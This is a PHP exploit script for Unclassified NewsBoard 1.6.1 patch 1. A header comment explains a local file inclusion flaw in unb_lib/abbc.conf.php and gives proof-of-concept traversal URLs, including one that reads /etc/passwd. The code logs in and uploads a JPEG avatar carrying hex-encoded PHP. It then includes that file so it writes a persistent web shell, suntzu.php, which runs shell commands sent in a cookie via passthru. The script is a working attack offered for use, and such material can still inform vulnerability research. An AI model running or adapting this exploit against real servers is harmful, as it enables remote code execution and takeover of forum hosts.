unb_161p1_incl_xpl.txt

`#!/usr/bin/php -q -d short_open_tag=on  
<?  
echo "Unclassified NewsBoard <= 1.6.1 patch 1 ABBC[Config][smileset] arbitrary\r\n";  
echo "local inclusion\r\n";  
echo "by rgod [email protected]\r\n";  
echo "site: http://retrogod.altervista.org\r\n\r\n";  
echo "works with register_globals = On & magic_quotes_gpc = Off\r\n\r\n";  
  
if ($argc<6) {  
echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONS\r\n";  
echo "host: target server (ip/hostname)\r\n";  
echo "path: path to UNB\r\n";  
echo "cmd: a shell command\r\n";  
echo "user/pass: you need a valid user account to upload files\r\n";  
echo "Options:\r\n";  
echo " -p[port]: specify a port other than 80\r\n";  
echo " -P[ip:port]: specify a proxy\r\n";  
echo "Examples:\r\n";  
echo "php ".$argv[0]." localhost /unb/ your_username password cat ./../board.conf.php\r\n";  
echo "php ".$argv[0]." localhost /unb/ your_username password ls -la -p81\r\n";  
echo "php ".$argv[0]." localhost / your_username password ls -la -P1.1.1.1:80\r\n\r\n";  
die;  
}  
  
/* software site: http://newsboard.unclassified.de/  
  
description: "The Unclassified NewsBoard (short UNB) is an open-source,  
PHP-based internet bulletin board system"  
  
vulnerable code in unb_lib/abbc.conf.php at lines 635-641:  
  
...  
// Smiley Definitions  
if ($ABBC['Config']['smileset'])  
{  
$ABBC['Config']['smilepath'] = dirname(__FILE__) . '/designs/_smile/' . $ABBC['Config']['smileset'] . '/';  
$ABBC['Config']['smileurl'] = $UNB['LibraryURL'] . 'designs/_smile/' . $ABBC['Config']['smileset'] . '/';  
@include($ABBC['Config']['smilepath'] . 'config.php');  
}  
...  
  
$ABBC['Config']['smileset'] var is not initialized before to be used to include  
files. You cannot have access to this code directly but in unb_lib/abbc.css.php  
at line 16 we have:  
  
...  
require('abbc.conf.php');  
...  
  
this script is not protected by the unb_lib folder .htaccess file:  
  
# Don't allow direct PHP requests in this directory  
<Files *.inc.php>  
Order allow,deny  
Deny from all  
</Files>  
<Files *.lib.php>  
Order allow,deny  
Deny from all  
</Files>  
  
so, if register_globals = On & magic_quotes_gpc = Off, you can include files  
from local resources, poc:  
  
http://[target]/[path]/unb_lib/abbc.css.php?ABBC[Config][smileset]=../../../../../../../../../etc/passwd%00  
http://[target]/[path]/unb_lib/abbc.css.php?ABBC[Config][smileset]=../../upload/avatar_[user_id].jpeg%00&cmd=ls%20-la  
http://[target]/[path]/unb_lib/abbc.css.php?ABBC[Config][smileset]=../../upload/photo_[user_id].jpeg%00&cmd=ls%20-la  
  
this script try to include an avatar or photo with malicious php code  
inside, you need a valid account to upload files  
  
*/  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
#debug  
#echo "\r\n".$html;  
  
}  
  
$host=$argv[1];  
$path=$argv[2];  
$username=$argv[3];  
$pass=$argv[4];  
$cmd="";$port=80;$proxy="";  
for ($i=5; $i<=$argc-1; $i++){  
$temp=$argv[$i][0].$argv[$i][1];  
if (($temp<>"-p") and ($temp<>"-P"))  
{$cmd.=" ".$argv[$i];}  
if ($temp=="-p")  
{  
$port=str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
}  
$cmd=urlencode($cmd);  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
echo "step 0 -> check if suntzu.php is already installed...\r\n";  
$packet ="GET ".$p."unb_lib/suntzu.php HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: cmd=".$cmd.";\r\n";  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
sendpacketii($packet);  
if (strstr($html,"56789"))  
{  
echo "Exploit succeeded...";  
$temp=explode("56789",$html);  
die("\r\n".$temp[1]."\r\n");  
}  
  
echo "step 1 -> login...\r\n";  
$data ="LoginName=".urlencode(trim($username));  
$data.="&LoginPassword=".urlencode(trim($pass));  
$packet="POST ".$p."forum.php?req=setuser&module=main HTTP/1.0\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
#debug  
#echo quick_dump($packet);  
sendpacketii($packet);  
$temp=explode("Set-Cookie: ",$html);  
$temp2=explode(' ',$temp[1]);  
$cookie=$temp2[0];  
$temp2=explode(' ',$temp[2]);  
$cookie.=" ".$temp2[0];  
echo 'Your cookie: '.$cookie."\r\n";  
$temp=explode("=",$cookie);  
$temp2=explode("+",$temp[2]);  
$id=$temp2[0];  
echo "User Id -> ".$id."\r\n";  
  
echo "step 2 -> upload a malicious avatar with php code inside...\r\n";  
$shell=  
chr(0xff).chr(0xd8).chr(0xff).chr(0xfe).chr(0x01).chr(0x07).chr(0x3c).chr(0x3f).  
chr(0x70).chr(0x68).chr(0x70).chr(0x0d).chr(0x0a).chr(0x24).chr(0x66).chr(0x70).  
chr(0x3d).chr(0x66).chr(0x6f).chr(0x70).chr(0x65).chr(0x6e).chr(0x28).chr(0x22).  
chr(0x73).chr(0x75).chr(0x6e).chr(0x74).chr(0x7a).chr(0x75).chr(0x2e).chr(0x70).  
chr(0x68).chr(0x70).chr(0x22).chr(0x2c).chr(0x22).chr(0x77).chr(0x22).chr(0x29).  
chr(0x3b).chr(0x0d).chr(0x0a).chr(0x66).chr(0x70).chr(0x75).chr(0x74).chr(0x73).  
chr(0x28).chr(0x24).chr(0x66).chr(0x70).chr(0x2c).chr(0x22).chr(0x3c).chr(0x3f).  
chr(0x70).chr(0x68).chr(0x70).chr(0x20).chr(0x65).chr(0x72).chr(0x72).chr(0x6f).  
chr(0x72).chr(0x5f).chr(0x72).chr(0x65).chr(0x70).chr(0x6f).chr(0x72).chr(0x74).  
chr(0x69).chr(0x6e).chr(0x67).chr(0x28).chr(0x30).chr(0x29).chr(0x3b).chr(0x73).  
chr(0x65).chr(0x74).chr(0x5f).chr(0x74).chr(0x69).chr(0x6d).chr(0x65).chr(0x5f).  
chr(0x6c).chr(0x69).chr(0x6d).chr(0x69).chr(0x74).chr(0x28).chr(0x30).chr(0x29).  
chr(0x3b).chr(0x69).chr(0x66).chr(0x20).chr(0x28).chr(0x67).chr(0x65).chr(0x74).  
chr(0x5f).chr(0x6d).chr(0x61).chr(0x67).chr(0x69).chr(0x63).chr(0x5f).chr(0x71).  
chr(0x75).chr(0x6f).chr(0x74).chr(0x65).chr(0x73).chr(0x5f).chr(0x67).chr(0x70).  
chr(0x63).chr(0x28).chr(0x29).chr(0x29).chr(0x20).chr(0x7b).chr(0x5c).chr(0x24).  
chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).chr(0x45).chr(0x5b).  
chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).chr(0x3d).chr(0x73).chr(0x74).chr(0x72).  
chr(0x69).chr(0x70).chr(0x73).chr(0x6c).chr(0x61).chr(0x73).chr(0x68).chr(0x65).  
chr(0x73).chr(0x28).chr(0x5c).chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).  
chr(0x4b).chr(0x49).chr(0x45).chr(0x5b).chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).  
chr(0x29).chr(0x3b).chr(0x7d).chr(0x65).chr(0x63).chr(0x68).chr(0x6f).chr(0x20).  
chr(0x35).chr(0x36).chr(0x37).chr(0x38).chr(0x39).chr(0x3b).chr(0x70).chr(0x61).  
chr(0x73).chr(0x73).chr(0x74).chr(0x68).chr(0x72).chr(0x75).chr(0x28).chr(0x5c).  
chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).chr(0x45).  
chr(0x5b).chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).chr(0x29).chr(0x3b).chr(0x65).  
chr(0x63).chr(0x68).chr(0x6f).chr(0x20).chr(0x35).chr(0x36).chr(0x37).chr(0x38).  
chr(0x39).chr(0x3b).chr(0x3f).chr(0x3e).chr(0x22).chr(0x29).chr(0x3b).chr(0x0d).  
chr(0x0a).chr(0x66).chr(0x63).chr(0x6c).chr(0x6f).chr(0x73).chr(0x65).chr(0x28).  
chr(0x24).chr(0x66).chr(0x70).chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a).chr(0x63).  
chr(0x68).chr(0x6d).chr(0x6f).chr(0x64).chr(0x28).chr(0x22).chr(0x73).chr(0x75).  
chr(0x6e).chr(0x74).chr(0x7a).chr(0x75).chr(0x2e).chr(0x70).chr(0x68).chr(0x70).  
chr(0x22).chr(0x2c).chr(0x37).chr(0x37).chr(0x37).chr(0x29).chr(0x3b).chr(0x0d).  
chr(0x0a).chr(0x3f).chr(0x3e).chr(0xff).chr(0xe0).chr(0x00).chr(0x10).chr(0x4a).  
chr(0x46).chr(0x49).chr(0x46).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x00).  
chr(0x48).chr(0x00).chr(0x48).chr(0x00).chr(0x00).chr(0xff).chr(0xdb).chr(0x00).  
chr(0x43).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0xff).chr(0xdb).chr(0x00).chr(0x43).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0xff).  
chr(0xc0).chr(0x00).chr(0x11).chr(0x08).chr(0x00).chr(0x01).chr(0x00).chr(0x01).  
chr(0x03).chr(0x01).chr(0x11).chr(0x00).chr(0x02).chr(0x11).chr(0x01).chr(0x03).  
chr(0x11).chr(0x01).chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x00).chr(0x01).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x08).  
chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x10).chr(0x01).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0xff).chr(0xc4).  
chr(0x00).chr(0x15).chr(0x01).chr(0x01).chr(0x01).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x08).chr(0x09).chr(0xff).chr(0xc4).chr(0x00).  
chr(0x14).chr(0x11).chr(0x01).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0xff).chr(0xda).chr(0x00).chr(0x0c).chr(0x03).  
chr(0x01).chr(0x00).chr(0x02).chr(0x11).chr(0x03).chr(0x11).chr(0x00).chr(0x3f).  
chr(0x00).chr(0x23).chr(0x94).chr(0x09).chr(0x2e).chr(0xff).chr(0xd9).chr(0x00);  
  
/*  
this image has this code inside as EXIF metadata content  
<?php  
$fp=fopen("suntzu.php","w");  
fputs($fp,"<?php error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()) {\$_COOKIE[cmd]=stripslashes(\$_COOKIE[cmd]);}echo 56789;passthru(\$_COOKIE[cmd]);echo 56789;?>");  
fclose($fp);  
chmod("suntzu.php",777);  
?>  
*/  
  
$data='-----------------------------7d614f2d12043e  
Content-Disposition: form-data; name="action"  
  
edit  
-----------------------------7d614f2d12043e  
Content-Disposition: form-data; name="id"  
  
'.$id.'  
-----------------------------7d614f2d12043e  
Content-Disposition: form-data; name="cat"  
  
postoptions  
-----------------------------7d614f2d12043e  
Content-Disposition: form-data; name="Signature"  
  
  
-----------------------------7d614f2d12043e  
Content-Disposition: form-data; name="avatar"  
  
1  
-----------------------------7d614f2d12043e  
Content-Disposition: form-data; name="avatarfile"; filename="suntzu.jpeg"  
Content-Type: image/pjpeg  
  
'.$shell.'  
-----------------------------7d614f2d12043e  
Content-Disposition: form-data; name="avatarurl"  
  
  
-----------------------------7d614f2d12043e  
Content-Disposition: form-data; name="photofile"; filename="suntzoi.jpeg"  
Content-Type: image/pjpeg  
  
'.$shell.'  
-----------------------------7d614f2d12043e  
Content-Disposition: form-data; name="photourl"  
  
  
-----------------------------7d614f2d12043e  
Content-Disposition: form-data; name="photo"  
  
1  
-----------------------------7d614f2d12043e  
Content-Disposition: form-data; name="Save"  
  
Save  
-----------------------------7d614f2d12043e--  
';  
  
$packet ="POST ".$p."forum.php?req=cp HTTP/1.0\r\n";  
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d614f2d12043e\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Accept-Encoding: gzip, deflate\r\n";  
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Keep-Alive\r\n";  
$packet.="Cache-Control: no-cache\r\n";  
$packet.="Cookie: ".$cookie."\r\n\r\n";  
$packet.=$data;  
#debug  
#echo quick_dump($packet);  
sendpacketii($packet);  
  
echo "step 3 -> try to include avatar or photo...\r\n";  
$xpl=array(  
urlencode("../../upload/avatar_".$id.".jpeg".chr(0x00)),  
urlencode("../../upload/photo_".$id.".jpeg".chr(0x00))  
);  
  
for ($i=0; $i<=count($xpl)-1; $i++)  
{  
$packet ="GET ".$p."unb_lib/abbc.css.php HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: ABBC[Config][smileset]=".$xpl[$i]."; \r\n"; //pass evil var through cookies  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
#debug  
#echo quick_dump($packet);  
sendpacketii($packet);  
}  
  
echo "step 4 -> Launch commands...\r\n";  
$packet ="GET ".$p."unb_lib/suntzu.php HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: cmd=".$cmd.";\r\n";  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
#debug  
#echo quick_dump($packet);  
sendpacketii($packet);  
if (strstr($html,"56789"))  
{  
echo "Exploit succeeded...";  
$temp=explode("56789",$html);  
die("\r\n".$temp[1]."\r\n");  
}  
//if you are here...  
echo "Exploit failed...";  
?>  
  
original url:  
http://retrogod.altervista.org/unb_161p1_incl_xpl.html  
`